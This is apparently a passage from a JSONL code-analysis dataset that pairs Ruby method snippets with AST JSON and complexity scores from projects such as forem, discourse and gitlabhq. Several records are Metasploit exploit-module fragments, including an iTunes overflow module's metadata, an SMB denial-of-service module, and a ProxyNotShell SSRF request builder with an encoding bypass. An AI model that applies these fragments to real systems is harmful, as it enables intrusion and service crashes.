                     'BufferOffset' => 3, # See the comments below\n                        },\n        },\n        'Platform' => %w{osx},\n        'Targets' => [\n          [\n            'OS X',\n            {\n              'Platform' => [ 'osx' ],\n              'Arch' => ARCH_X86,\n              'Addr' => 'ATe'\n            },\n          ]\n        ],\n        'DisclosureDate' => '2009-06-01',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apple OS X iTunes 8.1.1 ITMS Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This modules exploits a stack-based buffer overflow in iTunes\\n\"]},{\"type\":\"str\",\"children\":[\"          itms:// URL parsing.  It is accessible from the browser and\\n\"]},{\"type\":\"str\",\"children\":[\"          in Safari, itms urls will be opened in iTunes automatically.\\n\"]},{\"type\":\"str\",\"children\":[\"          Because iTunes is multithreaded, only vfork-based payloads should\\n\"]},{\"type\":\"str\",\"children\":[\"          be used.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Will Drewry <redpig[at]dataspill.org>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-0950\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"54833\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://support.apple.com/kb/HT3592\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderType\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Encoder\"]},\"Type\"]},\"AlphanumMixed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BufferRegister\"]},{\"type\":\"str\",\"children\":[\"ECX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BufferOffset\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OS X\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Addr\"]},{\"type\":\"str\",\"children\":[\"ATe\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-06-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"6d534818-7b0b-435e-95af-a9784f69ca93"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/tags/suggested_for_onboarding.rb","start_line":11,"raw_source":"def call\n      return suggested_tags if suggested_tags.count >= MAX\n\n      Tag\n        .where(suggested_for_onboarding_or_supported)\n        .order(\"hotness_score DESC\")\n        .limit(MAX)\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suggested_tags\"]},\"count\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"MAX\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suggested_tags\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"suggested_for_onboarding_or_supported\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"hotness_score DESC\"]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"MAX\"]}]}]}]}","id":"af4eb6c0-3da7-4aa7-9033-f788ec952dd4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb","start_line":133,"raw_source":"def junk(n = 4)\n    return rand_text_alpha(n).unpack(\"V\").first\n  end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]}]}","id":"145886fd-038d-475f-bd10-9da633ec5e95"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output.rb","start_line":56,"raw_source":"def try_write(chunk)\n      @try_write ? @try_write.call(chunk) : nil\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"try_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@try_write\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@try_write\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"269db36c-2b26-4c77-bdf6-53de68fd33a1"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/profile_fields_controller.rb","start_line":25,"raw_source":"def update\n      profile_field = ProfileField.find(params[:id])\n      if profile_field.update(profile_field_params)\n        flash[:success] =\n          I18n.t(\"admin.profile_fields_controller.updated\", field: profile_field.label)\n      else\n        flash[:error] = I18n.t(\"errors.messages.general\", errors: profile_field.errors_as_sentence)\n      end\n      redirect_to admin_profile_fields_path\n    end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"profile_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProfileField\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile_field\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"profile_field_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.profile_fields_controller.updated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile_field\"]},\"label\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.general\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile_field\"]},\"errors_as_sentence\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_profile_fields_path\"]}]}]}]}","id":"132ee145-e220-428c-8c61-cb2a19f679bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-oauth2-basic/lib/omniauth/strategies/oauth2_basic.rb","start_line":27,"raw_source":"def callback_url\n    Discourse.base_url_no_prefix + script_name + callback_path\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"callback_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url_no_prefix\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"script_name\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"callback_path\"]}]}]}","id":"3909d269-2584-4ae8-a667-41fb3fb01cdd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/jira_import/import_issue_worker.rb","start_line":67,"raw_source":"def build_label_attrs(issue_id, label_id, namespace_id)\n        time = Time.current\n        {\n          label_id: label_id,\n          target_id: issue_id,\n          target_type: 'Issue',\n          created_at: time,\n          updated_at: time,\n          namespace_id: namespace_id\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_label_attrs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]},{\"type\":\"arg\",\"children\":[\"label_id\"]},{\"type\":\"arg\",\"children\":[\"namespace_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label_id\"]},{\"type\":\"lvar\",\"children\":[\"label_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"Issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"lvar\",\"children\":[\"namespace_id\"]}]}]}]}]}","id":"2664674c-da14-47a7-9237-92c6531cedb7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Microsoft Windows Browser Pool DoS',\n        'Description' => %q{\n          This module exploits a denial of service flaw in the Microsoft\n          Windows SMB service on versions of Windows Server 2003 that have been\n          configured as a domain controller. By sending a specially crafted election\n          request, an attacker can cause a pool overflow.\n\n          The vulnerability appears to be due to an error handling a length value\n          while calculating the amount of memory to copy to a buffer. When there are\n          zero bytes left in the buffer, the length value is improperly decremented\n          and an integer underflow occurs. The resulting value is used in several\n          calculations and is then passed as the length value to an inline memcpy\n          operation.\n\n          Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and\n          causes considerable damage to kernel heap memory. While theoretically possible,\n          it does not appear to be trivial to turn this vulnerability into remote (or\n          even local) code execution.\n        },\n        'References' => [\n          [ 'CVE', '2011-0654' ],\n          [ 'BID', '46360' ],\n          [ 'OSVDB', '70881' ],\n          [ 'MSB', 'MS11-019' ],\n          [ 'EDB', '16166' ],\n          [ 'URL', 'https://seclists.org/fulldisclosure/2011/Feb/285' ]\n        ],\n        'Author' => [ 'Cupidon-3005', 'jduck' ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(138),\n        OptString.new('DOMAIN', [ true, 'The name of the domain that the target controls' ])\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft Windows Browser Pool DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a denial of service flaw in the Microsoft\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows SMB service on versions of Windows Server 2003 that have been\\n\"]},{\"type\":\"str\",\"children\":[\"          configured as a domain controller. By sending a specially crafted election\\n\"]},{\"type\":\"str\",\"children\":[\"          request, an attacker can cause a pool overflow.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability appears to be due to an error handling a length value\\n\"]},{\"type\":\"str\",\"children\":[\"          while calculating the amount of memory to copy to a buffer. When there are\\n\"]},{\"type\":\"str\",\"children\":[\"          zero bytes left in the buffer, the length value is improperly decremented\\n\"]},{\"type\":\"str\",\"children\":[\"          and an integer underflow occurs. The resulting value is used in several\\n\"]},{\"type\":\"str\",\"children\":[\"          calculations and is then passed as the length value to an inline memcpy\\n\"]},{\"type\":\"str\",\"children\":[\"          operation.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and\\n\"]},{\"type\":\"str\",\"children\":[\"          causes considerable damage to kernel heap memory. While theoretically possible,\\n\"]},{\"type\":\"str\",\"children\":[\"          it does not appear to be trivial to turn this vulnerability into remote (or\\n\"]},{\"type\":\"str\",\"children\":[\"          even local) code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-0654\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"46360\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"70881\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS11-019\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"16166\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2011/Feb/285\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Cupidon-3005\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[138]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the domain that the target controls\"]}]}]}]}]}]}]}","id":"98c52d0d-9ef6-486e-90eb-bd35619079e0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/storage_list_component.rb","start_line":38,"raw_source":"def storage_row_css_id(storage)\n      helpers.dom_id storage\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_row_css_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"dom_id\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]}","id":"ff5540bf-b385-41a2-9585-1ce31a42a026"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxynotshell_rce.rb","start_line":114,"raw_source":"def send_http(method, uri, opts = {})\n    opts[:authentication] = {\n      'username' => datastore['USERNAME'],\n      'password' => datastore['PASSWORD'],\n      'preferred_auth' => 'NTLM'\n    }\n\n    if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'\n      uri = \"/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}\"\n      opts[:headers] = {\n        'X-Up-Devcap-Post-Charset' => 'IBM037',\n        # technique needs the \"UP\" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362\n        'User-Agent' => \"UP #{datastore['UserAgent']}\"\n      }\n    else\n      uri = \"/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}\"\n    end\n\n    super(method, uri, opts)\n  end","complexity_score":28.5,"ast_json":"{\"type\":\"def\",\"children\":[\"send_http\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"authentication\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"preferred_auth\"]},{\"type\":\"str\",\"children\":[\"NTLM\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"powershell\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EemsBypass\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"IBM037v1\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/Autodiscover/autodiscover.json?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ibm037\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssrf_email\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"?\"]}]}]}]},{\"type\":\"str\",\"children\":[\"&\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ibm037\",{\"type\":\"str\",\"children\":[\"Email\"]}]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ibm037\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Autodiscover/autodiscover.json?\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@ssrf_email\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Up-Devcap-Post-Charset\"]},{\"type\":\"str\",\"children\":[\"IBM037\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"User-Agent\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserAgent\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/Autodiscover/autodiscover.json?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssrf_email\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"str\",\"children\":[\"?&Email=Autodiscover/autodiscover.json?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssrf_email\"]}]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"8f6f8cbd-0ce8-429c-af8f-9d1eb5b689aa"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":1346,"raw_source":"def mutate_stdout_and_stderr_to_sync_on_write(enabled=true)\n      @options[:mutate_stdout_and_stderr_to_sync_on_write] = enabled\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mutate_stdout_and_stderr_to_sync_on_write\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"enabled\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mutate_stdout_and_stderr_to_sync_on_write\"]},{\"type\":\"lvar\",\"children\":[\"enabled\"]}]}]}","id":"ad0e5fb0-5c0d-4b48-abd2-4593d64b2c80"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/features/storages/admin/project_storages_spec.rb","start_line":358,"raw_source":"def call\n            @model.destroy!\n            ServiceResult.success\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\"]}]}]}","id":"37f283a5-8fa8-4320-803f-1fc32649af11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb","start_line":173,"raw_source":"def check\n    get_terramaster_info\n    return CheckCode::Safe if @terramaster.empty?\n\n    if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.29')\n      return CheckCode::Vulnerable(\"TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.\")\n    end\n\n    CheckCode::Safe(\"TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.\")\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_terramaster_info\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tos_version\"]}]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\